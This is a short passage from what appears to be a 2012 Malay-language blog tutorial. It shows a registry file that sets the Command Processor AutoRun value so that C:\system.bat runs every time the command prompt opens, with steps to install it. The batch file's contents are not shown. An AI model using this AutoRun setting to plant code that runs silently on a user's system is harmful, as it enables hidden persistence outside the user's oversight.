[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
"AutoRun"="@echo off|call C:\system.bat"

3. Save system.bat & system.reg dekat dlm Local Disk(C:)

4. Double click system.reg & click OK

NOTE: Kod dekat system.bat tu korg boleh edit suka hati korg :)

Pages

Wednesday, March 28, 2012

Website: http://www.nirsoft.net/